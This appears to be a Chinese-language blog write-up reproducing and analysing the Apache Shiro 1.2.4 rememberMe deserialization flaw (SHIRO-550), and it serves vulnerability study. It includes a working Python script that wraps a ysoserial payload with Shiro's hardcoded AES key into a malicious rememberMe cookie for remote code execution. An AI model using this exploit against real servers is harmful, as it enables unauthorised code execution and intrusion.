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Shiro rememberMe 反序列化分析

 ·  ☕ 3 分钟

Shiro 550

复现

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git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

然后导入maven项目之后,在samples/web/pom.xml配置jstl版本和反序列化用到的gadget链依赖。

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<properties>
    <maven.compiler.source>1.6</maven.compiler.source>
    <maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!-- 配置版本 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<!-- 依赖cc链 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

如果你爆了toolchains相关的错误,就在C:\Users\username\.m2\toolchains.xml配置toolchains

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<?xml version="1.0" encoding="UTF8"?>
<toolchains>
    <toolchain>
        <type>jdk</type>
        <provides>
            <version>1.6</version>
            <vendor>sun</vendor>
        </provides>
        <configuration>
            <jdkHome>C:\Program Files\Java\jdk1.8.0_181</jdkHome>
        </configuration>
    </toolchain>
</toolchains>

maven package之后将war包放到tomcat7下部署,运行之后就是这样
image.png

使用shiro_tool.jar复现:
image.png

也可以使用python脚本

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import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
    popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    #iv   =  base64.b64decode(rememberMe)[:16]   
    iv = uuid.uuid4().bytes
    print(iv)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    print(sys.argv[1],sys.argv[2])
    payload = encode_rememberme(sys.argv[1],sys.argv[2])
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

将文件中的贴到cookie中请求即可。

分析

首先要知道shiro是一个用来做身份验证的框架,其原理是基于servlet的filter进行的。在web.xml中定义了ShiroFilter,作用范围是当前目录下所有的url
image.png

cookie的处理在CookieRememberMeManager类,继承了AbstractRememberMeManager,在AbstractRememberMeManager中硬编码了加密密钥DEFAULT_CIPHER_KEY_BYTES
image.png

加密方式为AES对称加密,AES有了密钥还需要加密算法和初始化向量IV,AbstractRememberMeManager中加密函数调用了CipherService接口,实现其方法的是JcaCipherService类
image.png

在该类的encrypt()中发现IV自动生成,长度16个字节
image.png

并且加密模式为CBC
image.png

在encrypt中会先将IV写入
image.png

所以我们直接读原始cookie前16个字节获取。

最后一点就是在encrypt()中字节数组serialized在何处序列化和反序列化的?

serialized在convertPrincipalsToBytes()被赋值
image.png

可以看到是一个PrincipalCollection对象,而PrincipalCollection是一个接口,其实现类

image.png

仅有SimplePrincipalCollection实现了readObject,这也是反序列化的入口,但是在哪触发的?

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize中一步步跟进
image.png

最终找到了org.apache.shiro.io.DefaultSerializer#deserialize
image.png

到此为止

总结

因为AES硬编码的问题导致的RCE,自己对于加密与解密不是很了解,这方面有待学习。

参考

  1. https://xz.aliyun.com/t/6493
  2. https://xz.aliyun.com/t/7207
  3. https://paper.seebug.org/shiro-rememberme-1-2-4/
  4. https://issues.apache.org/jira/browse/SHIRO-550

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

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